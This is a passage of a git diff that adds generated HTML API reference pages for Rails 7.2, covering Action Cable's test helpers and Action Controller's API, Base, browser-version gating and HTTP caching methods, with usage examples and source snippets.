+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + broadcast(channel, payload) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/test.rb, line 18
+      def broadcast(channel, payload)
+        broadcasts(channel) << payload
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + broadcasts(channel) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/test.rb, line 23
+      def broadcasts(channel)
+        channels_data[channel] ||= []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/test.rb, line 31
+      def clear
+        @channels_data = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + clear_messages(channel) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/subscription_adapter/test.rb, line 27
+      def clear_messages(channel)
+        channels_data[channel] = []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/TestCase.html b/src/7.2/classes/ActionCable/TestCase.html new file mode 100644 index 0000000000..ce6cf7ac96 --- /dev/null +++ b/src/7.2/classes/ActionCable/TestCase.html @@ -0,0 +1,74 @@ +--- +title: ActionCable::TestCase +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/TestHelper.html b/src/7.2/classes/ActionCable/TestHelper.html new file mode 100644 index 0000000000..226852421c --- /dev/null +++ b/src/7.2/classes/ActionCable/TestHelper.html @@ -0,0 +1,324 @@ +--- +title: ActionCable::TestHelper +layout: default +--- +
+ +
+
+ +
+ +

Provides helper methods for testing Action Cable broadcasting

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assert_broadcast_on(stream, data, &block) + +

+ + +
+

Asserts that the specified message has been sent to the stream.

+ +
def test_assert_transmitted_message
+  ActionCable.server.broadcast 'messages', text: 'hello'
+  assert_broadcast_on('messages', text: 'hello')
+end
+
+ +

If a block is passed, that block should cause a message with the specified data to be sent.

+ +
def test_assert_broadcast_on_again
+  assert_broadcast_on('messages', text: 'hello') do
+    ActionCable.server.broadcast 'messages', text: 'hello'
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/test_helper.rb, line 116
+    def assert_broadcast_on(stream, data, &block)
+      # Encode to JSON and back–we want to use this value to compare with decoded
+      # JSON. Comparing JSON strings doesn't work due to the order if the keys.
+      serialized_msg =
+        ActiveSupport::JSON.decode(ActiveSupport::JSON.encode(data))
+
+      new_messages = broadcasts(stream)
+      if block_given?
+        new_messages = new_broadcasts_from(new_messages, stream, "assert_broadcast_on", &block)
+      end
+
+      message = new_messages.find { |msg| ActiveSupport::JSON.decode(msg) == serialized_msg }
+
+      error_message = "No messages sent with #{data} to #{stream}"
+
+      if new_messages.any?
+        error_message = new_messages.inject("#{error_message}\nMessage(s) found:\n") do |error_message, new_message|
+          error_message + "#{ActiveSupport::JSON.decode(new_message)}\n"
+        end
+      else
+        error_message = "#{error_message}\nNo message found for #{stream}"
+      end
+
+      assert message, error_message
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_broadcasts(stream, number, &block) + +

+ + +
+

Asserts that the number of broadcasted messages to the stream matches the given number.

+ +
def test_broadcasts
+  assert_broadcasts 'messages', 0
+  ActionCable.server.broadcast 'messages', { text: 'hello' }
+  assert_broadcasts 'messages', 1
+  ActionCable.server.broadcast 'messages', { text: 'world' }
+  assert_broadcasts 'messages', 2
+end
+
+ +

If a block is passed, that block should cause the specified number of messages to be broadcasted.

+ +
def test_broadcasts_again
+  assert_broadcasts('messages', 1) do
+    ActionCable.server.broadcast 'messages', { text: 'hello' }
+  end
+
+  assert_broadcasts('messages', 2) do
+    ActionCable.server.broadcast 'messages', { text: 'hi' }
+    ActionCable.server.broadcast 'messages', { text: 'how are you?' }
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/test_helper.rb, line 48
+    def assert_broadcasts(stream, number, &block)
+      if block_given?
+        new_messages = new_broadcasts_from(broadcasts(stream), stream, "assert_broadcasts", &block)
+
+        actual_count = new_messages.size
+        assert_equal number, actual_count, "#{number} broadcasts to #{stream} expected, but #{actual_count} were sent"
+      else
+        actual_count = broadcasts(stream).size
+        assert_equal number, actual_count, "#{number} broadcasts to #{stream} expected, but #{actual_count} were sent"
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_broadcasts(stream, &block) + +

+ + +
+

Asserts that no messages have been sent to the stream.

+ +
def test_no_broadcasts
+  assert_no_broadcasts 'messages'
+  ActionCable.server.broadcast 'messages', { text: 'hi' }
+  assert_broadcasts 'messages', 1
+end
+
+ +

If a block is passed, that block should not cause any message to be sent.

+ +
def test_broadcasts_again
+  assert_no_broadcasts 'messages' do
+    # No job messages should be sent from this block
+  end
+end
+
+ +

Note: This assertion is simply a shortcut for:

+ +
assert_broadcasts 'messages', 0, &block
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/test_helper.rb, line 80
+    def assert_no_broadcasts(stream, &block)
+      assert_broadcasts stream, 0, &block
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + capture_broadcasts(stream, &block) + +

+ + +
+

Returns the messages that are broadcasted in the block.

+ +
def test_broadcasts
+  messages = capture_broadcasts('messages') do
+    ActionCable.server.broadcast 'messages', { text: 'hi' }
+    ActionCable.server.broadcast 'messages', { text: 'how are you?' }
+  end
+  assert_equal 2, messages.length
+  assert_equal({ text: 'hi' }, messages.first)
+  assert_equal({ text: 'how are you?' }, messages.last)
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actioncable/lib/action_cable/test_helper.rb, line 96
+    def capture_broadcasts(stream, &block)
+      new_broadcasts_from(broadcasts(stream), stream, "capture_broadcasts", &block).map { |m| ActiveSupport::JSON.decode(m) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionCable/VERSION.html b/src/7.2/classes/ActionCable/VERSION.html new file mode 100644 index 0000000000..82ebdde14c --- /dev/null +++ b/src/7.2/classes/ActionCable/VERSION.html @@ -0,0 +1,95 @@ +--- +title: ActionCable::VERSION +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MAJOR=7
MINOR=2
PRE=nil
STRING=[MAJOR, MINOR, TINY, PRE].compact.join(".")
TINY=2
+ + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController.html b/src/7.2/classes/ActionController.html new file mode 100644 index 0000000000..8397873a53 --- /dev/null +++ b/src/7.2/classes/ActionController.html @@ -0,0 +1,378 @@ +--- +title: ActionController +layout: default +--- +
+ +
+
+ +
+ +

Action Controller

+ +

Action Controller is a module of Action Pack.

+ +

Action Controller provides a base controller class that can be subclassed to implement filters and actions to handle requests. The result of an action is typically content generated from views.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + add_renderer(key, &block) + +

+ + +
+

See Renderers.add

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/renderers.rb, line 9
+  def self.add_renderer(key, &block)
+    Renderers.add(key, &block)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_renderer(key) + +

+ + + + + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/renderers.rb, line 14
+  def self.remove_renderer(key)
+    Renderers.remove(key)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/API.html b/src/7.2/classes/ActionController/API.html new file mode 100644 index 0000000000..9c272663fb --- /dev/null +++ b/src/7.2/classes/ActionController/API.html @@ -0,0 +1,230 @@ +--- +title: ActionController::API +layout: default +--- +
+ +
+
+ +
+ +

Action Controller API

+ +

API Controller is a lightweight version of ActionController::Base, created for applications that don’t require all functionalities that a complete Rails controller provides, allowing you to create controllers with just the features that you need for API only applications.

+ +

An API Controller is different from a normal controller in the sense that by default it doesn’t include a number of features that are usually required by browser access only: layouts and templates rendering, flash, assets, and so on. This makes the entire controller stack thinner, suitable for API applications. It doesn’t mean you won’t have such features if you need them: they’re all available for you to include in your application, they’re just not part of the default API controller stack.

+ +

Normally, ApplicationController is the only controller that inherits from ActionController::API. All other controllers in turn inherit from ApplicationController.

+ +

A sample controller could look like this:

+ +
class PostsController < ApplicationController
+  def index
+    posts = Post.all
+    render json: posts
+  end
+end
+
+ +

Request, response, and parameters objects all work the exact same way as ActionController::Base.

+ +

Renders

+ +

The default API Controller stack includes all renderers, which means you can use render :json and siblings freely in your controllers. Keep in mind that templates are not going to be rendered, so you need to ensure your controller is calling either render or redirect_to in all actions, otherwise it will return 204 No Content.

+ +
def show
+  post = Post.find(params[:id])
+  render json: post
+end
+
+ +

Redirects

+ +

Redirects are used to move from one action to another. You can use the redirect_to method in your controllers in the same way as in ActionController::Base. For example:

+ +
def create
+  redirect_to root_url and return if not_authorized?
+  # do stuff here
+end
+
+ +

Adding New Behavior

+ +

In some scenarios you may want to add back some functionality provided by ActionController::Base that is not present by default in ActionController::API, for instance MimeResponds. This module gives you the respond_to method. Adding it is quite simple, you just need to include the module in a specific controller or in ApplicationController in case you want it available in your entire application:

+ +
class ApplicationController < ActionController::API
+  include ActionController::MimeResponds
+end
+
+class PostsController < ApplicationController
+  def index
+    posts = Post.all
+
+    respond_to do |format|
+      format.json { render json: posts }
+      format.xml  { render xml: posts }
+    end
+  end
+end
+
+ +

Make sure to check the modules included in ActionController::Base if you want to use any other functionality that is not provided by ActionController::API out of the box.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
MODULES=[ +AbstractController::Rendering, + +UrlFor, +Redirecting, +ApiRendering, +Renderers::All, +ConditionalGet, +BasicImplicitRender, +StrongParameters, +RateLimiting, +Caching, + +DataStreaming, +DefaultHeaders, +Logging, + +# Before callbacks should also be executed as early as possible, so also include +# them at the bottom. +AbstractController::Callbacks, + +# Append rescue at the bottom to wrap as much as possible. +Rescue, + +# Add instrumentations hooks at the bottom, to ensure they instrument all the +# methods properly. +Instrumentation, + +# Params wrapper should come before instrumentation so they are properly showed +# in logs +ParamsWrapper +]
+ + + + + + +

Class Public methods

+ +
+

+ + without_modules(*modules) + +

+ + +
+

Shortcut helper that returns all the ActionController::API modules except the ones passed as arguments:

+ +
class MyAPIBaseController < ActionController::Metal
+  ActionController::API.without_modules(:UrlFor).each do |left|
+    include left
+  end
+end
+
+ +

This gives better control over what you want to exclude and makes it easier to create an API controller class, instead of listing the modules required manually.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/api.rb, line 107
+    def self.without_modules(*modules)
+      modules = modules.map do |m|
+        m.is_a?(Symbol) ? ActionController.const_get(m) : m
+      end
+
+      MODULES - modules
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/AllowBrowser.html b/src/7.2/classes/ActionController/AllowBrowser.html new file mode 100644 index 0000000000..d760310d18 --- /dev/null +++ b/src/7.2/classes/ActionController/AllowBrowser.html @@ -0,0 +1,67 @@ +--- +title: ActionController::AllowBrowser +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/AllowBrowser/ClassMethods.html b/src/7.2/classes/ActionController/AllowBrowser/ClassMethods.html new file mode 100644 index 0000000000..fac5a861f2 --- /dev/null +++ b/src/7.2/classes/ActionController/AllowBrowser/ClassMethods.html @@ -0,0 +1,127 @@ +--- +title: ActionController::AllowBrowser::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + allow_browser(versions:, block: -> { render file: Rails.root.join("public/406-unsupported-browser.html"), layout: false, status: :not_acceptable } + +

+ + +
+

Specify the browser versions that will be allowed to access all actions (or some, as limited by only: or except:). Only browsers matched in the hash or named set passed to versions: will be blocked if they’re below the versions specified. This means that all other browsers, as well as agents that aren’t reporting a user-agent header, will be allowed access.

+ +

A browser that’s blocked will by default be served the file in public/406-unsupported-browser.html with a HTTP status code of β€œ406 Not Acceptable”.

+ +

In addition to specifically named browser versions, you can also pass :modern as the set to restrict support to browsers natively supporting webp images, web push, badges, import maps, CSS nesting, and CSS :has. This includes Safari 17.2+, Chrome 120+, Firefox 121+, Opera 106+.

+ +

You can use caniuse.com to check for browser versions supporting the features you use.

+ +

You can use ActiveSupport::Notifications to subscribe to events of browsers being blocked using the browser_block.action_controller event name.

+ +

Examples:

+ +
class ApplicationController < ActionController::Base
+  # Allow only browsers natively supporting webp images, web push, badges, import maps, CSS nesting, and CSS :has
+  allow_browser versions: :modern
+end
+
+class ApplicationController < ActionController::Base
+  # All versions of Chrome and Opera will be allowed, but no versions of "internet explorer" (ie). Safari needs to be 16.4+ and Firefox 121+.
+  allow_browser versions: { safari: 16.4, firefox: 121, ie: false }
+end
+
+class MessagesController < ApplicationController
+  # In addition to the browsers blocked by ApplicationController, also block Opera below 104 and Chrome below 119 for the show action.
+  allow_browser versions: { opera: 104, chrome: 119 }, only: :show
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/allow_browser.rb, line 47
+      def allow_browser(versions:, block: -> { render file: Rails.root.join("public/406-unsupported-browser.html"), layout: false, status: :not_acceptable }, **options)
+        before_action -> { allow_browser(versions: versions, block: block) }, **options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ApiRendering.html b/src/7.2/classes/ActionController/ApiRendering.html new file mode 100644 index 0000000000..5474eb9d73 --- /dev/null +++ b/src/7.2/classes/ActionController/ApiRendering.html @@ -0,0 +1,116 @@ +--- +title: ActionController::ApiRendering +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + render_to_body(options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/api/api_rendering.rb, line 13
+    def render_to_body(options = {})
+      _process_options(options)
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Base.html b/src/7.2/classes/ActionController/Base.html new file mode 100644 index 0000000000..39dc42ce05 --- /dev/null +++ b/src/7.2/classes/ActionController/Base.html @@ -0,0 +1,336 @@ +--- +title: ActionController::Base +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Base

+ +

Action Controllers are the core of a web request in Rails. They are made up of one or more actions that are executed on request and then either it renders a template or redirects to another action. An action is defined as a public method on the controller, which will automatically be made accessible to the web-server through Rails Routes.

+ +

By default, only the ApplicationController in a Rails application inherits from ActionController::Base. All other controllers inherit from ApplicationController. This gives you one class to configure things such as request forgery protection and filtering of sensitive request parameters.

+ +

A sample controller could look like this:

+ +
class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+
+  def create
+    @post = Post.create params[:post]
+    redirect_to posts_path
+  end
+end
+
+ +

Actions, by default, render a template in the app/views directory corresponding to the name of the controller and action after executing code in the action. For example, the index action of the PostsController would render the template app/views/posts/index.html.erb by default after populating the @posts instance variable.

+ +

Unlike index, the create action will not render a template. After performing its main purpose (creating a new post), it initiates a redirect instead. This redirect works by returning an external 302 Moved HTTP response that takes the user to the index action.

+ +

These two methods represent the two basic action archetypes used in Action Controllers: Get-and-show and do-and-redirect. Most actions are variations on these themes.

+ +

Requests

+ +

For every request, the router determines the value of the controller and action keys. These determine which controller and action are called. The remaining request parameters, the session (if one is available), and the full request with all the HTTP headers are made available to the action through accessor methods. Then the action is performed.

+ +

The full request object is available via the request accessor and is primarily used to query for HTTP headers:

+ +
def server_ip
+  location = request.env["REMOTE_ADDR"]
+  render plain: "This server hosted at #{location}"
+end
+
+ +

Parameters

+ +

All request parameters, whether they come from a query string in the URL or form data submitted through a POST request are available through the params method which returns a hash. For example, an action that was performed through /posts?category=All&limit=5 will include { "category" => "All", "limit" => "5" } in params.

+ +

It’s also possible to construct multi-dimensional parameter hashes by specifying keys using brackets, such as:

+ +
<input type="text" name="post[name]" value="david">
+<input type="text" name="post[address]" value="hyacintvej">
+
+ +

A request coming from a form holding these inputs will include { "post" => { "name" => "david", "address" => "hyacintvej" } }. If the address input had been named post[address][street], the params would have included { "post" => { "address" => { "street" => "hyacintvej" } } }. There’s no limit to the depth of the nesting.

+ +

Sessions

+ +

Sessions allow you to store objects in between requests. This is useful for objects that are not yet ready to be persisted, such as a Signup object constructed in a multi-paged process, or objects that don’t change much and are needed all the time, such as a User object for a system that requires login. The session should not be used, however, as a cache for objects where it’s likely they could be changed unknowingly. It’s usually too much work to keep it all synchronized – something databases already excel at.

+ +

You can place objects in the session by using the session method, which accesses a hash:

+ +
session[:person] = Person.authenticate(user_name, password)
+
+ +

You can retrieve it again through the same hash:

+ +
"Hello #{session[:person]}"
+
+ +

For removing objects from the session, you can either assign a single key to nil:

+ +
# removes :person from session
+session[:person] = nil
+
+ +

or you can remove the entire session with reset_session.

+ +

By default, sessions are stored in an encrypted browser cookie (see ActionDispatch::Session::CookieStore). Thus the user will not be able to read or edit the session data. However, the user can keep a copy of the cookie even after it has expired, so you should avoid storing sensitive information in cookie-based sessions.

+ +

Responses

+ +

Each action results in a response, which holds the headers and document to be sent to the user’s browser. The actual response object is generated automatically through the use of renders and redirects and requires no user intervention.

+ +

Renders

+ +

Action Controller sends content to the user by using one of five rendering methods. The most versatile and common is the rendering of a template. Included in the Action Pack is the Action View, which enables rendering of ERB templates. It’s automatically configured. The controller passes objects to the view by assigning instance variables:

+ +
def show
+  @post = Post.find(params[:id])
+end
+
+ +

Which are then automatically available to the view:

+ +
Title: <%= @post.title %>
+
+ +

You don’t have to rely on the automated rendering. For example, actions that could result in the rendering of different templates will use the manual rendering methods:

+ +
def search
+  @results = Search.find(params[:query])
+  case @results.count
+    when 0 then render action: "no_results"
+    when 1 then render action: "show"
+    when 2..10 then render action: "show_many"
+  end
+end
+
+ +

Read more about writing ERB and Builder templates in ActionView::Base.

+ +

Redirects

+ +

Redirects are used to move from one action to another. For example, after a create action, which stores a blog entry to the database, we might like to show the user the new entry. Because we’re following good DRY principles (Don’t Repeat Yourself), we’re going to reuse (and redirect to) a show action that we’ll assume has already been created. The code might look like this:

+ +
def create
+  @entry = Entry.new(params[:entry])
+  if @entry.save
+    # The entry was saved correctly, redirect to show
+    redirect_to action: 'show', id: @entry.id
+  else
+    # things didn't go so well, do something else
+  end
+end
+
+ +

In this case, after saving our new entry to the database, the user is redirected to the show method, which is then executed. Note that this is an external HTTP-level redirection which will cause the browser to make a second request (a GET to the show action), and not some internal re-routing which calls both β€œcreate” and then β€œshow” within one request.

+ +

Learn more about redirect_to and what options you have in ActionController::Redirecting.

+ +

Calling multiple redirects or renders

+ +

An action may perform only a single render or a single redirect. Attempting to do either again will result in a DoubleRenderError:

+ +
def do_something
+  redirect_to action: "elsewhere"
+  render action: "overthere" # raises DoubleRenderError
+end
+
+ +

If you need to redirect on the condition of something, then be sure to add β€œreturn” to halt execution.

+ +
def do_something
+  if monkeys.nil?
+    redirect_to(action: "elsewhere")
+    return
+  end
+  render action: "overthere" # won't be called if monkeys is nil
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + +
MODULES=[ +AbstractController::Rendering, +AbstractController::Translation, +AbstractController::AssetPaths, +Helpers, +UrlFor, +Redirecting, +ActionView::Layouts, +Rendering, +Renderers::All, +ConditionalGet, +EtagWithTemplateDigest, +EtagWithFlash, +Caching, +MimeResponds, +ImplicitRender, +StrongParameters, +ParameterEncoding, +Cookies, +Flash, +FormBuilder, +RequestForgeryProtection, +ContentSecurityPolicy, +PermissionsPolicy, +RateLimiting, +AllowBrowser, +Streaming, +DataStreaming, +HttpAuthentication::Basic::ControllerMethods, +HttpAuthentication::Digest::ControllerMethods, +HttpAuthentication::Token::ControllerMethods, +DefaultHeaders, +Logging, +AbstractController::Callbacks, +Rescue, +Instrumentation, +ParamsWrapper +]
PROTECTED_IVARS=AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + %i( +@_params @_response @_request @_config @_url_options @_action_has_layout @_view_context_class +@_view_renderer @_lookup_context @_routes @_view_runtime @_db_runtime @_helper_proxy +@_marked_for_same_origin_verification @_rendered_format +)
 

Define some internal variables that should not be propagated to the view.

+ + + + + + +

Class Public methods

+ +
+

+ + without_modules(*modules) + +

+ + +
+

Shortcut helper that returns all the modules included in ActionController::Base except the ones passed as arguments:

+ +
class MyBaseController < ActionController::Metal
+  ActionController::Base.without_modules(:ParamsWrapper, :Streaming).each do |left|
+    include left
+  end
+end
+
+ +

This gives better control over what you want to exclude and makes it easier to create a bare controller class, instead of listing the modules required manually.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/base.rb, line 222
+    def self.without_modules(*modules)
+      modules = modules.map do |m|
+        m.is_a?(Symbol) ? ActionController.const_get(m) : m
+      end
+
+      MODULES - modules
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Caching.html b/src/7.2/classes/ActionController/Caching.html new file mode 100644 index 0000000000..4fe7ffd251 --- /dev/null +++ b/src/7.2/classes/ActionController/Caching.html @@ -0,0 +1,93 @@ +--- +title: ActionController::Caching +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Caching

+ +

Caching is a cheap way of speeding up slow applications by keeping the result of calculations, renderings, and database calls around for subsequent requests.

+ +

You can read more about each approach by clicking the modules below.

+ +

Note: To turn off all caching provided by Action Controller, set config.action_controller.perform_caching = false

+ +

Caching stores

+ +

All the caching stores from ActiveSupport::Cache are available to be used as backends for Action Controller caching.

+ +

Configuration examples (FileStore is the default):

+ +
config.action_controller.cache_store = :memory_store
+config.action_controller.cache_store = :file_store, '/path/to/cache/directory'
+config.action_controller.cache_store = :mem_cache_store, 'localhost'
+config.action_controller.cache_store = :mem_cache_store, Memcached::Rails.new('localhost:11211')
+config.action_controller.cache_store = MyOwnStore.new('parameter')
+
+ +
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ConditionalGet.html b/src/7.2/classes/ActionController/ConditionalGet.html new file mode 100644 index 0000000000..0597240c1d --- /dev/null +++ b/src/7.2/classes/ActionController/ConditionalGet.html @@ -0,0 +1,546 @@ +--- +title: ActionController::ConditionalGet +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + expires_in(seconds, options = {}) + +

+ + +
+

Sets the Cache-Control header, overwriting existing directives. This method will also ensure an HTTP Date header for client compatibility.

+ +

Defaults to issuing the private directive, so that intermediate caches must not cache the response.

+ +

Options

+
:public +
+

If true, replaces the default private directive with the public directive.

+
:must_revalidate +
+

If true, adds the must-revalidate directive.

+
:stale_while_revalidate +
+

Sets the value of the stale-while-revalidate directive.

+
:stale_if_error +
+

Sets the value of the stale-if-error directive.

+
+ +

Any additional key-value pairs are concatenated as directives. For a list of supported Cache-Control directives, see the article on MDN.

+ +

Examples

+ +
expires_in 10.minutes
+# => Cache-Control: max-age=600, private
+
+expires_in 10.minutes, public: true
+# => Cache-Control: max-age=600, public
+
+expires_in 10.minutes, public: true, must_revalidate: true
+# => Cache-Control: max-age=600, public, must-revalidate
+
+expires_in 1.hour, stale_while_revalidate: 60.seconds
+# => Cache-Control: max-age=3600, private, stale-while-revalidate=60
+
+expires_in 1.hour, stale_if_error: 5.minutes
+# => Cache-Control: max-age=3600, private, stale-if-error=300
+
+expires_in 1.hour, public: true, "s-maxage": 3.hours, "no-transform": true
+# => Cache-Control: max-age=3600, public, s-maxage=10800, no-transform=true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/conditional_get.rb, line 287
+    def expires_in(seconds, options = {})
+      response.cache_control.delete(:no_store)
+      response.cache_control.merge!(
+        max_age: seconds,
+        public: options.delete(:public),
+        must_revalidate: options.delete(:must_revalidate),
+        stale_while_revalidate: options.delete(:stale_while_revalidate),
+        stale_if_error: options.delete(:stale_if_error),
+      )
+      options.delete(:private)
+
+      response.cache_control[:extras] = options.map { |k, v| "#{k}=#{v}" }
+      response.date = Time.now unless response.date?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + expires_now() + +

+ + +
+

Sets an HTTP 1.1 Cache-Control header of no-cache. This means the resource will be marked as stale, so clients must always revalidate. Intermediate/browser caches may still store the asset.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/conditional_get.rb, line 305
+    def expires_now
+      response.cache_control.replace(no_cache: true)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fresh_when(object = nil, etag: nil, weak_etag: nil, strong_etag: nil, last_modified: nil, public: false, cache_control: {}, template: nil) + +

+ + +
+

Sets the etag, last_modified, or both on the response, and renders a 304 Not Modified response if the request is already fresh.

+ +

Options

+
:etag +
+

Sets a β€œweak” ETag validator on the response. See the :weak_etag option.

+
:weak_etag +
+

Sets a β€œweak” ETag validator on the response. Requests that specify an If-None-Match header may receive a 304 Not Modified response if the ETag matches exactly.

+
+

A weak ETag indicates semantic equivalence, not byte-for-byte equality, so they’re good for caching HTML pages in browser caches. They can’t be used for responses that must be byte-identical, like serving Range requests within a PDF file.

+
:strong_etag +
+

Sets a β€œstrong” ETag validator on the response. Requests that specify an If-None-Match header may receive a 304 Not Modified response if the ETag matches exactly.

+
+

A strong ETag implies exact equality – the response must match byte for byte. This is necessary for serving Range requests within a large video or PDF file, for example, or for compatibility with some CDNs that don’t support weak ETags.

+
:last_modified +
+

Sets a β€œweak” last-update validator on the response. Subsequent requests that specify an If-Modified-Since header may receive a 304 Not Modified response if last_modified <= If-Modified-Since.

+
:public +
+

By default the Cache-Control header is private. Set this option to true if you want your application to be cacheable by other devices, such as proxy caches.

+
:cache_control +
+

When given, will overwrite an existing Cache-Control header. For a list of Cache-Control directives, see the article on MDN.

+
:template +
+

By default, the template digest for the current controller/action is included in ETags. If the action renders a different template, you can include its digest instead. If the action doesn’t render a template at all, you can pass template: false to skip any attempt to check for a template digest.

+
+ +

Examples

+ +
def show
+  @article = Article.find(params[:id])
+  fresh_when(etag: @article, last_modified: @article.updated_at, public: true)
+end
+
+ +

This will send a 304 Not Modified response if the request specifies a matching ETag and If-Modified-Since header. Otherwise, it will render the show template.

+ +

You can also just pass a record:

+ +
def show
+  @article = Article.find(params[:id])
+  fresh_when(@article)
+end
+
+ +

etag will be set to the record, and last_modified will be set to the record’s updated_at.

+ +

You can also pass an object that responds to maximum, such as a collection of records:

+ +
def index
+  @articles = Article.all
+  fresh_when(@articles)
+end
+
+ +

In this case, etag will be set to the collection, and last_modified will be set to maximum(:updated_at) (the timestamp of the most recently updated record).

+ +

When passing a record or a collection, you can still specify other options, such as :public and :cache_control:

+ +
def show
+  @article = Article.find(params[:id])
+  fresh_when(@article, public: true, cache_control: { no_cache: true })
+end
+
+ +

The above will set Cache-Control: public, no-cache in the response.

+ +

When rendering a different template than the controller/action’s default template, you can indicate which digest to include in the ETag:

+ +
before_action { fresh_when @article, template: "widgets/show" }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/conditional_get.rb, line 137
+    def fresh_when(object = nil, etag: nil, weak_etag: nil, strong_etag: nil, last_modified: nil, public: false, cache_control: {}, template: nil)
+      response.cache_control.delete(:no_store)
+      weak_etag ||= etag || object unless strong_etag
+      last_modified ||= object.try(:updated_at) || object.try(:maximum, :updated_at)
+
+      if strong_etag
+        response.strong_etag = combine_etags strong_etag,
+          last_modified: last_modified, public: public, template: template
+      elsif weak_etag || template
+        response.weak_etag = combine_etags weak_etag,
+          last_modified: last_modified, public: public, template: template
+      end
+
+      response.last_modified = last_modified if last_modified
+      response.cache_control[:public] = true if public
+      response.cache_control.merge!(cache_control)
+
+      head :not_modified if request.fresh?(response)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + http_cache_forever(public: false) + +

+ + +
+

Cache or yield the block. The cache is supposed to never expire.

+ +

You can use this method when you have an HTTP response that never changes, and the browser and proxies should cache it indefinitely.

+
  • +

    public: By default, HTTP responses are private, cached only on the user’s web browser. To allow proxies to cache the response, set true to indicate that they can serve the cached response to all users.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/conditional_get.rb, line 317
+    def http_cache_forever(public: false)
+      expires_in 100.years, public: public
+
+      yield if stale?(etag: request.fullpath,
